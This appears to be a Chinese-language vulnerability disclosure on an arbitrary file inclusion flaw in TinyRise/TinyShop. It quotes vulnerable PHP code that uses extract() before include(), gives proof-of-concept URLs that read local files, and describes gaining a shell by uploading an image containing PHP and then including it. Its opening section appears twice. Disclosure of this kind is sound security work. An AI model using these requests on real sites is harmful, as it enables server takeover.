### 简要描述: TinyRise最新版(20140926)任意文件包含漏洞,一定条件下,可getshell ### 详细说明: 漏洞发生在framework/web/controller/Controller_class.php文件的renderExecute函数: renderExecute函数存在extract变量覆盖,关键代码如下: ``` public function renderExecute($__runfile0123456789,$__data0123456789) { ...//省略无关代码 if($__datas0123456789!==null) { extract($__datas0123456789); unset($__datas0123456789,$__data0123456789);//防止干扰视图里的变量内容,同时防止无端过滤掉用户定义的变量(除非用户定义__data0123456789的变量) } header("Content-type: text/html; charset=".$this->encoding); ob_start(); include ($__runfile0123456789); ``` 执行extract($__datas0123456789);后再执行include ($__runfile0123456789);因此可覆盖$__runfile0123456789参数,导致前台任意文件包含;同时可在后台上传包含php代码的图片,实现getshell ### 漏洞证明: 下载最新版:http://www.tinyrise.com/downloads/tinyshopv1.1_data.zip 本地测试: [前台文件包含] http://127.0.0.1/tinyshop/index.php?__runfile0123456789=install\data\install.sql [<img src="https://images.seebug.org/upload/201410/24125004f4e2114e32f78aca5a53d211d839503b.png" alt="捕获.PNG" width="600"...
### 简要描述: TinyRise最新版(20140926)任意文件包含漏洞,一定条件下,可getshell ### 详细说明: 漏洞发生在framework/web/controller/Controller_class.php文件的renderExecute函数: renderExecute函数存在extract变量覆盖,关键代码如下: ``` public function renderExecute($__runfile0123456789,$__data0123456789) { ...//省略无关代码 if($__datas0123456789!==null) { extract($__datas0123456789); unset($__datas0123456789,$__data0123456789);//防止干扰视图里的变量内容,同时防止无端过滤掉用户定义的变量(除非用户定义__data0123456789的变量) } header("Content-type: text/html; charset=".$this->encoding); ob_start(); include ($__runfile0123456789); ``` 执行extract($__datas0123456789);后再执行include ($__runfile0123456789);因此可覆盖$__runfile0123456789参数,导致前台任意文件包含;同时可在后台上传包含php代码的图片,实现getshell ### 漏洞证明: 下载最新版:http://www.tinyrise.com/downloads/tinyshopv1.1_data.zip 本地测试: [前台文件包含] http://127.0.0.1/tinyshop/index.php?__runfile0123456789=install\data\install.sql [<img src="https://images.seebug.org/upload/201410/24125004f4e2114e32f78aca5a53d211d839503b.png" alt="捕获.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/24125004f4e2114e32f78aca5a53d211d839503b.png) http://127.0.0.1/tinyshop/index.php?__runfile0123456789=.htaccess [<img src="https://images.seebug.org/upload/201410/241250395cb27daaed64c5c78fea1d612838adde.png" alt="111.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/241250395cb27daaed64c5c78fea1d612838adde.png) [后台getshell] 登录后台,添加商品处上传一张含有php代码的图片 [<img src="https://images.seebug.org/upload/201410/241254070371c62716473f7efc8aa09de1e334e9.png" alt="1111.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/241254070371c62716473f7efc8aa09de1e334e9.png) 上传图片后,获取图片路径/data/uploads/2014/10/24/c45e1e31a11bb9f6c7f5348d24b692b1.jpg 文件包含执行代码: http://127.0.0.1/tinyshop/index.php?__runfile0123456789=/data/uploads/2014/10/24/c45e1e31a11bb9f6c7f5348d24b692b1.jpg [<img src="https://images.seebug.org/upload/201410/2412552307b26128d6ca163b2c9b83813c3e8c9a.png" alt="222.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/2412552307b26128d6ca163b2c9b83813c3e8c9a.png)